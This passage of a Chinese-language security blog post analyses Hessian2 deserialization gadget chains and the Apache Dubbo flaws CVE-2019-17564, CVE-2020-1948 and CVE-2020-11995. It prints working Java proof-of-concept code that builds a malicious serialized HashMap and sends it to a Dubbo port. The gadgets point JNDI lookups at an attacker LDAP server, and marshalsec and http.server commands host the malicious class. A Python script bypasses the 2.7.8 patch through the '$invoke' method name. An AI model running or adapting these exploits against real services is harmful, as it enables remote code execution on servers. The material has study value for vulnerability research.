        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Looking up JNDI object with name [" + name + "]");
        }

        return this.execute(new JndiCallback<Object>() {
 public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
        Context ctx = this.getContext();

        Object var3;
        try {
            var3 = contextCallback.doInContext(ctx);
        } finally {
            this.releaseContext(ctx);
        }

        return var3;
    }

該位置獲取InitialContext對象,傳遞到var3 = contextCallback.doInContext(ctx);方法進行繼續調用

 public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);
                if (located == null) {
                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else {
                    return located;
                }

至此觸發漏洞,該鏈比較長

調用棧

lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:87, SpringPartiallyComparableAdvisorHoldertest

SpringAbstractBeanFactoryPointcutAdvisor

構造分析

default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception {
    String jndiUrl = args[ 0 ];
    return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl));
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
    bf.setShareableResources(jndiUrl);
    Reflections.setFieldValue(bf, "logger", new NoOpLog());
    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
    return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {
    DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
    pcadv.setBeanFactory(bf);
    pcadv.setAdviceBeanName(name);
    return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}

和前面差不多,再次不多做分析

利用分析

poc

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class SpringAbstractBeanFactoryPointcutAdvisortest {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://localhost:1389/obj";

        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//        bf

        DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
        pcadv.setBeanFactory(bf);
        pcadv.setAdviceBeanName(jndiUrl);
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null));
        Reflections.setFieldValue(s, "table", tbl);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // hessian2反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

//        pcadv, new DefaultBeanFactoryPointcutAdvisor();
    }
}

斷點依舊打在MapDeserializer中,調用put方法,跟蹤

   public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
public boolean equals(Object other) {
    if (this == other) {
        return true;
    } else if (!(other instanceof PointcutAdvisor)) {
        return false;
    } else {
        PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
        return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
    }
}
public Advice getAdvice() {
    Advice advice = this.advice;
    if (advice == null && this.adviceBeanName != null) {
        Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
        if (this.beanFactory.isSingleton(this.adviceBeanName)) {
            advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);

這條鏈是藉助調用getbean

public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
    try {
        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
 private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject;
            if (this.singletonObjects.containsKey(name)) {
                jndiObject = this.singletonObjects.get(name);
                if (requiredType != null && !requiredType.isInstance(jndiObject)) {
                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
                } else {
                    return jndiObject;
                }
            } else {
                jndiObject = this.lookup(name, requiredType);
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }
 protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
        Assert.notNull(jndiName, "'jndiName' must not be null");
        String convertedName = this.convertJndiName(jndiName);

        Object jndiObject;
        try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
 public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
        Object jndiObject = this.lookup(name);
ublic Object lookup(final String name) throws NamingException {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Looking up JNDI object with name [" + name + "]");
        }

        return this.execute(new JndiCallback<Object>() {
            public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);
                if (located == null) {
                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else {
                    return located;
                }
            }
        });
    }
 public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
        Context ctx = this.getContext();

        Object var3;
        try {
            var3 = contextCallback.doInContext(ctx);
        } finally {
            this.releaseContext(ctx);
        }

        return var3;
    }
public Object lookup(final String name) throws NamingException {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Looking up JNDI object with name [" + name + "]");
        }

        return this.execute(new JndiCallback<Object>() {
            public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);
                if (located == null) {
                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else {
                    return located;
                }
            }
        });
    }

調用棧

lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support)
getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support)
equals:74, AbstractPointcutAdvisor (org.springframework.aop.support)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:59, SpringAbstractBeanFactoryPointcutAdvisortest

0x04 漏洞分析

CVE-2019-17564 漏洞分析

影響版本

  1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
  2. 2.6.0 <= Apache Dubbo <= 2.6.7
  3. Apache Dubbo = 2.5.x

漏洞調試

下載https://github.com/apache/dubbo-samples,提取dubbo-samples-http模塊,dubbo版本切換爲2.7.3版本,並且加入cc組件依賴進行漏洞調試。

先看到http-provider.xml文件,該文件配置聲明暴露服務。

   <dubbo:application name="http-provider"/>

    <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>

    <dubbo:protocol name="http" id="http" port="${servlet.port:8087}" server="${servlet.container:tomcat}"/>

    <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

    <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>

這裏註冊了org.apache.dubbo.samples.http.api.DemoService

/org.apache.dubbo.samples.http.api.DemoService接口發送payload,即gadget序列化數據,然後來到org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service方法中,將所有請求都會走DispatcherServlet進行處理。

protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort());
        if (handler == null) {
            response.sendError(404, "Service not found.");
        } else {
            handler.handle(request, response);
        }

    }

跟進 handler.handle(request, response);

來到org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle

 public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
            String uri = request.getRequestURI();
            HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri);
            if (!request.getMethod().equalsIgnoreCase("POST")) {
                response.setStatus(500);
            } else {
                RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());

                try {
                    skeleton.handleRequest(request, response);
                } catch (Throwable var6) {
                    throw new ServletException(var6);
                }
            }

這裏是獲取url中的類名,然後從skeletonMap中取值將對應的HttpInvokerServiceExporter對象

跟進skeleton.handleRequest(request, response);

來到org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        RemoteInvocation invocation = this.readRemoteInvocation(request);
        RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy());
        this.writeRemoteInvocationResult(request, response, result);
    } catch (ClassNotFoundException var5) {
        throw new NestedServletException("Class not found during deserialization", var5);
    }
}

跟進this.readRemoteInvocation(request);

來到org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException {
    return this.readRemoteInvocation(request, request.getInputStream());
}

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));

    RemoteInvocation var4;
    try {
        var4 = this.doReadRemoteInvocation(ois);
    } finally {
        ois.close();
    }

    return var4;
}

this.doReadRemoteInvocation(ois);

org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        Object obj = ois.readObject();
        if (!(obj instanceof RemoteInvocation)) {
            throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
        } else {
            return (RemoteInvocation)obj;
        }
    }

疑惑留存

  1. skeletonMap這個map中的加載流程
  2. skeletonMap中的HttpInvokerServiceExporter實例化對象如何拿到和構造的。
  3. 初始化時,dubbo加載的DispatcherServlet是從哪配置的,從哪些代碼去實現的。

DispatcherServlet註冊

DispatcherServlet的註冊邏輯在org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer中。

內嵌的tomcat容器,給添加了servlet的註冊

版本更新

skeletonMap進行了修改,在獲取skeleton之後就會調用JsonRpcBasicServer.hanldeJsonRpcBasicServerJsonRpcServer的父類,在該類中沒有反序列化的危險操作。

CVE-2020-1948

漏洞簡介

Dubbo 2.7.6或更低版本採用hessian2實現反序列化,其中存在反序列化遠程代碼執行漏洞。攻擊者可以發送未經驗證的服務名或方法名的RPC請求,同時配合附加惡意的參數負載。當服務端存在可以被利用的第三方庫時,惡意參數被反序列化後形成可被利用的攻擊鏈,直接對Dubbo服務端進行惡意代碼執行。

漏洞版本

Apache Dubbo 2.7.0 ~ 2.7.6

Apache Dubbo 2.6.0 ~ 2.6.7

Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

在實際測試中2.7.8仍舊可以打,而2.7.9失敗

漏洞復現

修改dubbo-samples/dubbo-samples-api/pom.xml

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

更改dubbo版本爲2.7.3

啓動dubbo-samples-api項目

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;

public class GadgetsTestHessian {





    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此處填寫ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此處填寫被攻擊的dubbo服務提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

python -m http.server #掛載惡意類

poc對dubbo的端口,默認爲20880進行發包

漏洞分析

斷點打在 org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode

該位置通過調用Object msg = NettyCodecAdapter.this.codec.decode(channel, message);,從端口中接收序列化數據進行反序列化爲一個Object對象。跟蹤代碼查看具體實現。

  public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
        int save = buffer.readerIndex();
        MultiMessage result = MultiMessage.create();

        while(true) {
            Object obj = this.codec.decode(channel, buffer);
            if (DecodeResult.NEED_MORE_INPUT == obj) {
                buffer.readerIndex(save);
                if (result.isEmpty()) {
                    return DecodeResult.NEED_MORE_INPUT;
                } else {
                    return result.size() == 1 ? result.get(0) : result;
                }
            }

            result.addMessage(obj);
            this.logMessageLength(obj, buffer.readerIndex() - save);
            save = buffer.readerIndex();
        }
    }

繼續跟蹤this.codec.decode(channel, buffer);位置

 public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
        int readable = buffer.readableBytes();
        byte[] header = new byte[Math.min(readable, 16)];
        buffer.readBytes(header);
        return this.decode(channel, buffer, readable, header);
    }

來到org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode

public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
    int readable = buffer.readableBytes();
    byte[] header = new byte[Math.min(readable, 16)];
    buffer.readBytes(header);
    return this.decode(channel, buffer, readable, header);
}

調用buffer.readableBytes返回表示 ByteBuf 當前可讀取的字節數,這裏爲670,是接受過來的序列化數據包的長度,Math.min(readable,16)則取兩值中最小的值。作爲byte數組的長度,並且調用 buffer.readBytes讀取該大小,這裏是16,讀取16個長度。

傳遞到this.decode進行調用

 protected Object decode(Channel channel, ChannelBuffer buffer, int readable, byte[] header) throws IOException {
        int len;
        int i;
        if ((readable <= 0 || header[0] == MAGIC_HIGH) && (readable <= 1 || header[1] == MAGIC_LOW)) {
            if (readable < 16) {
                return DecodeResult.NEED_MORE_INPUT;
            } else {
                //獲取數據的長度
                len = Bytes.bytes2int(header, 12);
                checkPayload(channel, (long)len);
                i = len + 16;
                if (readable < i) {
                    return DecodeResult.NEED_MORE_INPUT;
                } else {
                    ChannelBufferInputStream is = new ChannelBufferInputStream(buffer, len);

                    Object var8;
                    try {
                        var8 = this.decodeBody(channel, is, header);

走到var8 = this.decodeBody(channel, is, header);跟進

一路執行來到下面這段代碼中

in = CodecSupport.deserialize(channel.getUrl(), is, proto);位置獲取OutputSteam數據,跟蹤查看

public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {
    Serialization s = getSerialization(url, proto);
    return s.deserialize(url, is);
}

getSerialization位置跟進查看代碼

url.getParameter("serialization", "hessian2");位置獲取序列化的數據類型

返回到上一層方法走到return s.deserialize(url, is);位置

public ObjectInput deserialize(URL url, InputStream is) throws IOException {
    return new Hessian2ObjectInput(is);
}

實際上這裏不是真正意義上的反序列化操作,而是將is的數據轉換成一個Hessian2ObjectInput對象的實例。

走到這一步執行回到org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody107行代碼中

data = this.decodeEventData(channel, in);

至此到達Hession2的反序列化觸發點。和前面調試的利用鏈對比 構造數據的時候多了一下代碼

 byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

其餘都是一致的。

CVE-2020-11995

漏洞簡介

Apache Dubbo默認反序列化協議Hessian2被曝存在代碼執行漏洞,攻擊者可利用漏洞構建一個惡意請求達到遠程代碼執行的目的

漏洞版本

Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本

if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
                    if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {
                        throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());
                    }

                    pts = ReflectUtils.desc2classArray(desc);
                }
public static boolean isGenericCall(String path, String method) {
        return "$invoke".equals(method) || "$invokeAsync".equals(method);
    }
public static boolean isEcho(String path, String method) {
        return "$echo".equals(method);
    }

設置method等於$invoke$invokeAsync$echo即可繞過該補丁

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/Exploit",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
    method_name='$invoke',
    service_version='1.0.0',
    args=[toStringBean])

疑惑留存

在前面的構造的Java代碼的poc中,即spring aop鏈或Rome鏈,能打2.7.8版本,並且沒有走到org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode補丁處,而使用python該腳本時候則會走到補丁位置。

在請教了三夢師傅後,得知該補丁只是在Xbean利用鏈基礎上進行了修復。導致其他利用鏈在2.7.8版本中依舊能使用。但從python代碼中看着更像是Rome Gadget的構造。而在實際測試當中,XBean的Gadget確實走入到了補丁的邏輯處。

在此幾個疑惑留存留到後面的dubbo源碼分析中去解讀結果尚未解決的疑惑點。

參考

Dubbo的反序列化安全問題-Hessian2

dubbo源碼淺析:默認反序列化利用之hessian2

Hessian 反序列化及相關利用鏈

0x05 結尾

天氣冷了,注意保暖。共勉。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章